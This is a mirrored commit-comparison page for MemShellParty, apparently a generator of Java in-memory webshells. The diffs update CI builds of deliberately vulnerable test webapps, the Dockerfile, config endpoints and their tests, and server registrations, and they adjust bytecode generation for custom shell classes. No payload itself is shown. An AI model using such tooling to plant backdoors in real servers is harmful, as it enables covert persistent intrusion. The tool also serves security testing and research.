mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
97e85f5753 | ||
|
|
70d96e86b1 | ||
|
|
13fe8f0094 | ||
|
|
961845f96f | ||
|
|
4a12d74c7c | ||
|
|
7287409ce3 | ||
|
|
f806ab2c2c | ||
|
|
e1152000f2 | ||
|
|
3ada01bd97 | ||
|
|
e11eafe78b | ||
|
|
6c41f208ba | ||
|
|
ceb8e3ddb4 | ||
|
|
70935d6ab1 | ||
|
|
305bc0e12c | ||
|
|
b74c8f6155 | ||
|
|
4a990b7e0c | ||
|
|
493e540984 | ||
|
|
8514f1ae1f | ||
|
|
c641a92557 | ||
|
|
cda6c9f64e | ||
|
|
460172133b | ||
|
|
983bdaa2fa | ||
|
|
244bbd910a | ||
|
|
17627d5134 | ||
|
|
9af244408b | ||
|
|
d4c6473543 | ||
|
|
229698eb49 | ||
|
|
aaebf9300b | ||
|
|
31d4966cb3 | ||
|
|
e4ef1fce4a | ||
|
|
2843bbd8c4 | ||
|
|
7832c02e0d | ||
|
|
65d0b17fe2 | ||
|
|
f17a33fb8b | ||
|
|
f19fe37c36 | ||
|
|
9757a5b050 | ||
|
|
71230e6088 | ||
|
|
2ec3218e72 | ||
|
|
da046ae5dc | ||
|
|
a8cb4c68bc | ||
|
|
0e37e406da | ||
|
|
29c19a318f | ||
|
|
556c9d63ff | ||
|
|
3e48fc1534 | ||
|
|
8f2024917c | ||
|
|
82bbd2cf0a | ||
|
|
1243e59ac2 | ||
|
|
af4c8b1d63 |
@@ -52,7 +52,7 @@ jobs:
|
|||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
- name: Upload Boot Jar (Linux)
|
||||||
if: matrix.os == 'ubuntu-latest'
|
if: matrix.os == 'ubuntu-latest'
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v7
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
name: Docker Build Test
|
name: Docker Build Test
|
||||||
|
|
||||||
on:
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
push:
|
push:
|
||||||
branches:
|
branches:
|
||||||
- master
|
- master
|
||||||
|
|||||||
@@ -24,9 +24,9 @@ jobs:
|
|||||||
- middleware: "tomcat"
|
- middleware: "tomcat"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jetty"
|
- middleware: "jetty"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
@@ -34,7 +34,7 @@ jobs:
|
|||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "resin"
|
- middleware: "resin"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "payara"
|
- middleware: "payara"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "websphere"
|
- middleware: "websphere"
|
||||||
@@ -42,11 +42,11 @@ jobs:
|
|||||||
- middleware: "websphere7"
|
- middleware: "websphere7"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||||
- middleware: "xxljob"
|
- middleware: "xxljob"
|
||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struts2"
|
- middleware: "struts2"
|
||||||
|
|||||||
@@ -21,9 +21,9 @@ jobs:
|
|||||||
- middleware: "tomcat"
|
- middleware: "tomcat"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jetty"
|
- middleware: "jetty"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "jbossas"
|
- middleware: "jbossas"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "jbosseap"
|
- middleware: "jbosseap"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "wildfly"
|
- middleware: "wildfly"
|
||||||
@@ -31,7 +31,7 @@ jobs:
|
|||||||
- middleware: "glassfish"
|
- middleware: "glassfish"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "resin"
|
- middleware: "resin"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "payara"
|
- middleware: "payara"
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
- middleware: "websphere"
|
- middleware: "websphere"
|
||||||
@@ -39,9 +39,11 @@ jobs:
|
|||||||
- middleware: "websphere7"
|
- middleware: "websphere7"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||||
- middleware: "springwebmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
||||||
- middleware: "struts2"
|
- middleware: "struts2"
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
depend_tasks: ":vul:vul-struts2:war"
|
||||||
runs-on: ubuntu-22.04
|
runs-on: ubuntu-22.04
|
||||||
|
|||||||
@@ -65,7 +65,7 @@ jobs:
|
|||||||
run: ./gradlew :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v7
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/*.jar
|
||||||
|
|||||||
+3
-1
@@ -61,4 +61,6 @@ integration-test/**/apusic
|
|||||||
integration-test/**/bes
|
integration-test/**/bes
|
||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
integration-test/**/primeton
|
integration-test/**/primeton
|
||||||
|
vul/vul-springboot3-bes
|
||||||
|
vul/vul-springboot3-tongweb
|
||||||
+5
-4
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH=""
|
ARG ROUTE_ROOT_PATH=""
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -16,7 +16,8 @@ WORKDIR /usr/src/web
|
|||||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||||
|
|
||||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
|
||||||
|
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
|
||||||
|
|
||||||
RUN bun install --frozen-lockfile
|
RUN bun install --frozen-lockfile
|
||||||
|
|
||||||
@@ -25,7 +26,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +36,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
FROM eclipse-temurin:21.0.12_8-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -78,6 +78,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## 贡献者
|
||||||
|
|
||||||
|
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
|
||||||
|
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
|
||||||
|
</a>
|
||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.ServerFactory;
|
|||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@@ -22,7 +23,12 @@ import java.util.*;
|
|||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @deprecated use {@link #config()} for memshell configuration and
|
||||||
|
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
||||||
|
*/
|
||||||
@RequestMapping("/servers")
|
@RequestMapping("/servers")
|
||||||
|
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||||
public Map<String, List<String>> getServers() {
|
public Map<String, List<String>> getServers() {
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
@@ -34,7 +40,11 @@ public class ConfigController {
|
|||||||
return servers;
|
return servers;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
||||||
|
*/
|
||||||
@RequestMapping("/packers")
|
@RequestMapping("/packers")
|
||||||
|
@Deprecated(since = "2.9.0", forRemoval = false)
|
||||||
public List<String> getPackers() {
|
public List<String> getPackers() {
|
||||||
return Arrays.stream(Packers.values())
|
return Arrays.stream(Packers.values())
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
@@ -56,9 +66,14 @@ public class ConfigController {
|
|||||||
.toList();
|
.toList();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@RequestMapping("/probe/response-body/servers")
|
||||||
|
public List<String> getProbeResponseBodyServers() {
|
||||||
|
return ResponseBodyGenerator.getSupportedServers();
|
||||||
|
}
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
@@ -82,4 +97,4 @@ public class ConfigController {
|
|||||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||||
return commandConfigVO;
|
return commandConfigVO;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+31
-9
@@ -1,9 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||||
|
import org.springframework.core.ParameterizedTypeReference;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.client.RestClient;
|
import org.springframework.web.client.RestClient;
|
||||||
@@ -22,6 +25,12 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
public class ConfigControllerIntegrationTest {
|
public class ConfigControllerIntegrationTest {
|
||||||
|
|
||||||
|
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
||||||
|
};
|
||||||
|
|
||||||
|
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
||||||
|
};
|
||||||
|
|
||||||
@LocalServerPort
|
@LocalServerPort
|
||||||
private int port;
|
private int port;
|
||||||
|
|
||||||
@@ -36,31 +45,44 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restClient.get()
|
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||||
.uri("/api/config")
|
.uri("/api/config")
|
||||||
.retrieve()
|
.retrieve()
|
||||||
.toEntity(Map.class);
|
.toEntity(MAP_TYPE);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
|
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restClient.get()
|
ResponseEntity<Map<String, Object>> response = restClient.get()
|
||||||
.uri("/api/config/servers")
|
.uri("/api/config/servers")
|
||||||
.retrieve()
|
.retrieve()
|
||||||
.toEntity(Map.class);
|
.toEntity(MAP_TYPE);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void testConfigPackersEndpoint() {
|
||||||
|
ResponseEntity<List<String>> response = restClient.get()
|
||||||
|
.uri("/api/config/packers")
|
||||||
|
.retrieve()
|
||||||
|
.toEntity(STRING_LIST_TYPE);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigProbeResponseBodyServersEndpoint() {
|
||||||
ResponseEntity<List> response = restClient.get()
|
ResponseEntity<List<String>> response = restClient.get()
|
||||||
.uri("/api/config/packers")
|
.uri("/api/config/probe/response-body/servers")
|
||||||
.retrieve()
|
.retrieve()
|
||||||
.toEntity(List.class);
|
.toEntity(STRING_LIST_TYPE);
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
assertNotNull(response.getBody());
|
||||||
|
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.8.0"
|
version = "2.10.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
|
|||||||
public class Server {
|
public class Server {
|
||||||
public static final String Tomcat = "Tomcat";
|
public static final String Tomcat = "Tomcat";
|
||||||
public static final String Jetty = "Jetty";
|
public static final String Jetty = "Jetty";
|
||||||
|
public static final String Jetty5 = "Jetty5";
|
||||||
public static final String Undertow = "Undertow";
|
public static final String Undertow = "Undertow";
|
||||||
public static final String JBoss = "JBoss";
|
public static final String JBoss = "JBoss";
|
||||||
public static final String Resin = "Resin";
|
public static final String Resin = "Resin";
|
||||||
|
public static final String Resin2 = "Resin2";
|
||||||
public static final String WebLogic = "WebLogic";
|
public static final String WebLogic = "WebLogic";
|
||||||
public static final String WebSphere = "WebSphere";
|
public static final String WebSphere = "WebSphere";
|
||||||
public static final String GlassFish = "GlassFish";
|
public static final String GlassFish = "GlassFish";
|
||||||
|
|||||||
@@ -33,9 +33,11 @@ public class ServerFactory {
|
|||||||
static {
|
static {
|
||||||
register(Server.Tomcat, Tomcat::new);
|
register(Server.Tomcat, Tomcat::new);
|
||||||
register(Server.Jetty, Jetty::new);
|
register(Server.Jetty, Jetty::new);
|
||||||
|
register(Server.Jetty5, Jetty5::new);
|
||||||
register(Server.Undertow, Undertow::new);
|
register(Server.Undertow, Undertow::new);
|
||||||
register(Server.JBoss, Jboss::new);
|
register(Server.JBoss, Jboss::new);
|
||||||
register(Server.Resin, Resin::new);
|
register(Server.Resin, Resin::new);
|
||||||
|
register(Server.Resin2, Resin2::new);
|
||||||
register(Server.WebLogic, WebLogic::new);
|
register(Server.WebLogic, WebLogic::new);
|
||||||
register(Server.WebSphere, WebSphere::new);
|
register(Server.WebSphere, WebSphere::new);
|
||||||
register(Server.GlassFish, GlassFish::new);
|
register(Server.GlassFish, GlassFish::new);
|
||||||
|
|||||||
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
|
|||||||
public class ServerType {
|
public class ServerType {
|
||||||
public static final String TOMCAT = "Tomcat";
|
public static final String TOMCAT = "Tomcat";
|
||||||
public static final String JETTY = "Jetty";
|
public static final String JETTY = "Jetty";
|
||||||
|
public static final String JETTY5 = "Jetty5";
|
||||||
public static final String JBOSS_AS = "JBossAS";
|
public static final String JBOSS_AS = "JBossAS";
|
||||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||||
public static final String UNDERTOW = "Undertow";
|
public static final String UNDERTOW = "Undertow";
|
||||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||||
public static final String WILDFLY = "Wildfly";
|
public static final String WILDFLY = "Wildfly";
|
||||||
public static final String RESIN = "Resin";
|
public static final String RESIN = "Resin";
|
||||||
|
public static final String RESIN2 = "Resin2";
|
||||||
public static final String GLASSFISH = "Glassfish";
|
public static final String GLASSFISH = "Glassfish";
|
||||||
public static final String PAYARA = "Payara";
|
public static final String PAYARA = "Payara";
|
||||||
public static final String WEBLOGIC = "WebLogic";
|
public static final String WEBLOGIC = "WebLogic";
|
||||||
|
|||||||
+5
-1
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
protected int getTargetJreVersion() {
|
||||||
|
return shellConfig.getTargetJreVersion();
|
||||||
|
}
|
||||||
|
|
||||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||||
return classBytes;
|
return classBytes;
|
||||||
}
|
}
|
||||||
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||||
|
|||||||
+40
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Label;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
@@ -17,6 +21,7 @@ import java.util.Base64;
|
|||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||||
|
private boolean containsSubroutines;
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
super(shellConfig, customConfig);
|
super(shellConfig, customConfig);
|
||||||
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
ClassReader classReader = new ClassReader(classBytes);
|
ClassReader classReader = new ClassReader(classBytes);
|
||||||
|
containsSubroutines = containsSubroutines(classReader);
|
||||||
String className = classReader.getClassName().replace('/', '.');
|
String className = classReader.getClassName().replace('/', '.');
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
shellToolConfig.setShellClassName(className);
|
shellToolConfig.setShellClassName(className);
|
||||||
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
return new ByteBuddy()
|
return new ByteBuddy()
|
||||||
.redefine(typeDescription, compoundLocator);
|
.redefine(typeDescription, compoundLocator);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected int getTargetJreVersion() {
|
||||||
|
// Byte Buddy cannot emit a class version newer than Java 5 when the
|
||||||
|
// source bytecode contains legacy jsr/ret subroutines. Keep such
|
||||||
|
// custom classes at Java 5; Java 6+ runtimes can load them as well.
|
||||||
|
